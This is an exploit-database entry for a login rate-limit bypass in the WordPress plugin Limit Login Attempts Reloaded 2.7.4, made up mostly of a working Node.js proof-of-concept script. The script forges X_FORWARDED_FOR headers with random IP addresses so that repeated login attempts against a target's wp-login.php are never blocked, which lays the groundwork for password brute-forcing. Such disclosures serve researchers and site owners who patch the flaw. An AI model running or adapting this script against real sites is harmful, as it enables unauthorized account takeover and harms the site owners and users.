WordPress Limit Login Attempts Reloaded 2.7.4 Bypass Exploit

2019-04-08T00:00:00
ID 1337DAY-ID-32500
Type zdt
Reporter isdampe
Modified 2019-04-08T00:00:00

Description

WordPress Limit Login Attempts Reloaded plugin version 2.7.4 suffers from a login limit bypass vulnerability.

                                        
                                            #!/usr/bin/env node
const request = require("request")

/**
 * Exploit Title: Limit Login Attempts Reloaded by WPChef rate limiter bypass
 * Date: 2019-04-08
 * Exploit Author: isdampe
 * Software Link: https://wordpress.org/plugins/limit-login-attempts-reloaded
 * Version: 2.7.4
 * Tested on: WordPress 5.1.1
 *
 * Description
 * -----------
 *
 *  The plugin's primary goal is to limit the rate at which an individual can attempt
 *  to authenticate with WordPress. Plugin has support for HTTP headers 
 *  X_FORWARDED_FOR and X_SUCURI_CLIENTIP to allow rate limiting for users
 *  when web servers are behind a reverse proxy service.
 *  However, REMOTE_ADDR is not verified as a whitelisted proxy address, thus
 *  allowing an attacker to easily forge either the X_FORWARDED_FOR or 
 *  X_SUCURI_CLIENTIP headers to completely bypass the rate limiting service.
 *
 *  PoC
 *  ---
 */
class LoginRequest
{
  constructor(loginUri, numberOfRepititions) {
    this._loginUri = loginUri
    this._numberOfRepititions = numberOfRepititions
    this._count = 0
  }

  async process() {
    await this._sendRequest()
    if (this._count++ < this._numberOfRepititions)
      this.process()
  }

  async _sendRequest() {
    return new Promise(async (resolve, reject) => {
      console.log(`Sending request ${this._count}...`)

      request.post({
        url : this._loginUri,
        form: {
          "log": this._getRandomString(),
          "pwd": this._getRandomString(),
          "wp-submit": "Log+In",
          "redirect_to": "/wp-admin/",
          "testcookie": "1"
        },
        headers: {
          "X_FORWARDED_FOR": this._getRandomIp()
        }
      }, (err, res, body) => {
        if (err)
          console.error(err)

        if (body.indexOf("Too many failed") > -1) {
          reject("Login was rejected, exploit failed.")
          return
        }

        resolve()
        console.log(`\tRequest ${this._count} was not blocked`)
      })

    })
  }

  _getRandomString() {
    const map = "abcdefghijklmnopqrstuvwxyz0123456789"
    const length = Math.floor(Math.random() * 15) + 1
    let buffer = ""
    for (let i=0; i<length; ++i)
      buffer += Math.floor(Math.random() * map.length)

    return buffer
  }

  _getRandomIp() {
    const bits = []
    for (let x=0; x<4; ++x)
      bits.push(Math.floor(Math.random() * 254)) + 1
    return bits.join(".")
  }

}

if (process.argv.length < 4) {
  console.log("Usage: ./bypass-ip-block.js [url] [number_of_repititions]")
  console.log("\turl:                     The url pointing to wp-login.php, (e.g. http://localhost/wp-login.php)")
  console.log("\tnumber_of_repititions:   The number of login attempts to create (e.g. 500)")
  process.exit(1)
}

const session = new LoginRequest(process.argv[2], process.argv[3])
session.process()

#  0day.today [2019-04-10]  #